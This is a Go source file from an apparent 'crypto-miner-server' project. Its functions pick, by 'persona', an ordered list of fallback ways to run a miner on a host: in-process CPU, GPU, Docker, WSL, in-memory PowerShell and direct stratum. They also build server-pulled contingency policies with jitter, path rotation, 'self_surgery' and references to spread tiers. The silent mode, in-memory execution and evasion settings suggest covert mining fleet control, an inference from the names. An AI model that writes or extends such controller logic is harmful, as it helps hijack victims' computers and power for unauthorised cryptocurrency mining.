package ai import ( "strings" "time" "crypto-miner-server/internal/strategy" ) // PersonaMiningTierOrder returns mining contingency tier order from Calibrate persona — NOT spread tiers. func PersonaMiningTierOrder(mode string) []string { switch NormalizePersona(mode) { case PersonaAggressive: return []string{ "cpu_inprocess", "gpu_subprocess", "exe_subprocess", "container", "docker_load", "wsl", "ps_inmemory", "stratum_direct", } case PersonaSilent: return []string{ "docker_load", "container", "wsl", "cpu_inprocess", "dotnet", "ps_inmemory", "gpu_subprocess", "stratum_direct", } case PersonaPassive: return []string{ "cpu_inprocess", "container", "wsl", "ps_inmemory", "gpu_subprocess", "stratum_direct", } case PersonaPersuasive: return []string{ "container", "wsl", "cpu_inprocess", "dotnet", "gpu_subprocess", "stratum_direct", } default: return defaultMiningTierOrder() } } func defaultMiningTierOrder() []string { return []string{ "exe_subprocess", "docker_load", "container", "wsl", "ps_inmemory", "cpu_inprocess", "gpu_subprocess", "stratum_direct", } } // PersonaContingencyBranchOrder maps persona temperament to single-host contingency branches. func PersonaContingencyBranchOrder(mode string) []string { switch NormalizePersona(mode) { case PersonaAggressive: return []string{"inprocess", "gpu_subprocess", "container", "idle_tune", "self_surgery"} case PersonaSilent: return []string{"container", "inprocess", "idle_tune", "gpu_subprocess", "self_surgery"} case PersonaPassive: return []string{"inprocess", "idle_tune", "container", "self_surgery", "gpu_subprocess"} case PersonaPersuasive: return []string{"container", "inprocess", "self_surgery", "gpu_subprocess", "idle_tune"} default: return []string{"inprocess", "container", "gpu_subprocess", "idle_tune", "self_surgery"} } } // BuildContingencyPolicy builds zero-config server-pulled policy when Fleet AI Control is on. func BuildContingencyPolicy(aiControl bool, persona string) map[string]interface{} { if !aiControl { return nil } p := NormalizePersona(persona) return map[string]interface{}{ "enabled": true, "branch_order": PersonaContingencyBranchOrder(p), "personas": []string{p, PersonaSilent, PersonaAggressive}, "hospice_after": 12, "jitter_ms": 750, "rotate_paths": true, } } // ComposeContingencyBranchParams splices graft mining genome onto contingency branches — spread tiers excluded. func ComposeContingencyBranchParams(persona string, graft *strategy.GraftPolicy, reason string) map[string]interface{} { order := PersonaContingencyBranchOrder(persona) miningOrder := PersonaMiningTierOrder(persona) skip := []string{} force := "" if graft != nil { if len(graft.TierOrder) > 0 { miningOrder = strategy.SpliceGraftGenome(miningOrder, strategy.GraftSource{ GraftTier: graft.GraftTier, TierOrder: graft.TierOrder, }) } if graft.GraftTier != "" { force = mapGraftTierToBranch(graft.GraftTier) } } out := map[string]interface{}{ "branch_order": order, "persona": NormalizePersona(persona), "mining_tiers": miningOrder, "reason": strings.TrimSpace(reason), } if len(skip) > 0 { out["skip_methods"] = skip } if force != "" { out["force_method"] = force } return out } func mapGraftTierToBranch(tier string) string { switch strings.ToLower(strings.TrimSpace(tier)) { case "docker", "docker_load": return "container" case "wsl": return "container" case "cpu_inprocess", "inprocess": return "inprocess" case "gpu_subprocess", "gpu_compute": return "gpu_subprocess" default: return "" } } // ContingencyBranchParamsFromCourt builds branch params after court/surgical exhaustion on one host. func ContingencyBranchParamsFromCourt(persona, reason string, graft *strategy.GraftPolicy) map[string]interface{} { if reason == "" { reason = "court: contingency exhaustion — graft mining genome splice (not spread)" } out := ComposeContingencyBranchParams(persona, graft, reason) out["ts"] = time.Now().UTC().Format(time.RFC3339) return out }